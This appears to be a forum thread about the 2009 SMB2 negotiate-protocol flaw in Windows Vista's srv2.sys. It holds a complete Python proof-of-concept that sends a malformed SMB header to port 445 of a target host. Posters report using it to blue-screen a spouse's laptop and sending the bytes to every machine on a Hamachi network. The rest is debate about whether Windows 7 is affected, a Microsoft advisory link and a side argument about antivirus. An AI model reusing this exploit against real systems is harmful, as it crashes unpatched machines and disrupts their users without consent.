Snowknight26
Supreme [H]ardness
- Joined
- May 8, 2005
- Messages
- 4,436
Wrote a VB.NET program that sent those bytes to all machines on my Hamachi network, but only a handful of them stopped pinging instantly. A mild success. 
Follow along with the video below to see how to install our site as a web app on your home screen.
Note: This feature may not be available in some browsers.
the script could do with a bit of <3
Code:import sys import socket from time import sleep host = sys.argv[1] buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket.socket() s.connect((host, 445)) s.send(buff) s.close()
ran it against wifies lappy and she got a BSOD
page_fault_in_non_page_area in srv2.sys
I've been running Microsoft Security Essentials on all of my desktops for months now. Everything I've tested it against it found. Sure AV isn't perfect, sorry you're spreading FUD however. Good AV scanners do a very good job of picking up threats.
Seconded. I have no Vista machines handy to abuse.You left out the important info, OS please?
Just tried your version, still nothing.the script could do with a bit of <3
<snip>
nerd fight!
my level 48 dwarf is higher than your level 43 dwarf. that's my acne cream!
32-bit I'm guessing?ahh sorry Vista home premium, SP2
Just tried your version, still nothing.
I like your improvements. I had to add a line that said "from socket import *" before the script would work for me.
yes32-bit I'm guessing?
bzzt, sorry. I have a Linux machine executing the attack.You trying it from windows. Turns out there is a bug in windows python with the most recent. If you drop to what they class as stable it should work
A mate on IRC couldn't get it to work against localhost and vista and latest&greatest python
Some note abt bug in py_windows socket stack and downgrade to stable and suddenly he disconnected from IRC
bzzt, sorry. I have a Linux machine executing the attack.
From what I've heard on the internet the attack works (with some minor syntax corrections) against Vista machines with regularity. I am working on testing one personally, but our friend from across the pond just got his wife's Vista laptop to crash with no problem.Okay, this "attack" looks like its got a few bugs of its own. Nothing to see here.
From what I've heard on the internet the attack works (with some minor syntax corrections) against Vista machines with regularity. I am working on testing one personally, but our friend from across the pond just got his wife's Vista laptop to crash with no problem.
It just looks like Win7 RTM was incorrectly reported as affected. Does anyone have the RC running that is willing to test it?
You are correct sir. Been motoring this flaw and it does seem to affect Vista SP2 but 7 RTM doesn't look to be affected
[...]
Love the signature. I'll take Windows abuse over Linux any day!![]()
All we know is that this particular exploit doesn't work on 7 RTM. The flaw could very well be there still, especially given the reports that Windows 7 uses the same SMB2.0 driver.
Which begs the question why, if the attack is based in a flaw in the SMB 2.0 driver, it would work in Vista and not 7. How is this possible if the attack is possible because of a flaw in the SAME code?![]()
Yeah, if there's a flaw in how the driver deals with malformed SMB headers, sending the same malformed header to Vista and 7 should produce similar results if they're using the same driver.Which begs the question why, if the attack is based in a flaw in the SMB 2.0 driver, it would work in Vista and not 7. How is this possible if the attack is possible because of a flaw in the SAME code?![]()
Which begs the question why, if the attack is based in a flaw in the SMB 2.0 driver, it would work in Vista and not 7. How is this possible if the attack is possible because of a flaw in the SAME code?![]()
Quite easily actually.
The flaw is a security hole which allows remote code execution; it could exist in both Vista and W7 as far as we know.
The code that gets executed however, can have different effects depending on what OS it is executed under. For example, if the code made a system call which only existed in Vista and not W7, then it would have a profoundly different effects. If you run the injected code (posted above in this thread) through a disassembler you can see exactly what instructions are executed.
All we know, is that the proof-of-concept exploit doesn't seem to crash W7 computers, not that it isn't running. I'm not alleging that the flaw does exist in W7, just that this particular exploit doesn't work in W7 is not sufficient evidence to show that the flaw doesn't exist, which is what you are suggesting.
So if this is a flaw in the driver, and its the SAME code its should have some side effect in 7 no matter what.
Which is quite different than saying the flaw is not present in W7.However, in the test, the exploit had no apparent effect on a computer running Windows 7
As I explained in my previous post, that's not necessarily the case.
The source for the article you linked is even so careful to not discount the possibility of the flaw existing in W7:
Which is quite different than saying the flaw is not present in W7.
Someone would have to examine the actual flaw, and see if it is present in W7 to make any determination on that point.
I am not trying to spread FUD by any means. Antivirus can still be useful tool and save time cleaning a system. In my experience cleaning hundreds of totally unusable machines antivirus does not work well enough to be considered reliable protection on critical systems. Antivirus often does not clean a system 100% after it has already been infected. Nor does antivirus software repair damage (like altered/replaced/unregistered files) done to a system by a virus. Antivirus does not even bother to police registry policy values that lock down a users ability to operate the computer. Furthermore antivirus does not even include a full version that allows you to scan and boot from CD/DVD/USB to reliably detect rootkits and hidden files. Those are all HUGE fail points in my gradebook. Same fails go for antispyware tools as well.
I am not sure where you get your samples from but throw some real stuff at it from the newsgroups, crack websites, those random im's you get from unknown people. Also try running a VM and pretend to be the worst user you can think of by installing spyware and opening those bad email attachments, after a week running that VM you will have all the samples you need in the system32 directory. If you take those samples and run them through virustotal.com you will see that even the best AV are too spotty. Reliable to me is 99.9% detection rate. Given the number of times ignorant users are exposed to threats in the course of a single session using the computer anything less would result in getting infected too frequently.
I haven't used antivirus on my machine for years and the only time I get a virus is when I put one on there intentionally.
Maybe my definition is wrong but I see a zero day as something that can deliver its payload without my knowledge meaning with Vista/7 it can bypass UAC prompting you for the change the payload is about to make.
But if the flaw is in SMB there should be SOME side effect.
Didn't I say all of that?Forgive me for being skeptical, but if you're not able to locate the specific function and trace down the equivalent call, then you can't really comment on whether the flaw is there or not. All it really indicates is that you might not know how to work your way around a disassembler, or assembly. You'd need to find the equivalent section of code, and then show that they were now performing a bounds check on before referencing the pointer.
Furthermore, when code is recompiled you're not necessarily going to end up with something that looks the same. Register allocation, for one, may have changed entirely, which means you might not even be looking for the right register.
Finally, I'll add that the flaw may well be gone, but we certainly haven't seen anything that proves that this is the case.
http://www.microsoft.com/technet/security/advisory/975497.mspx
Microsoft says Windows 7 isn't affected. It seems to be specific to Vista x86/x64 and Server 2008 x86/x64/Itanium.
/thread
MS pulled the advisory off the website....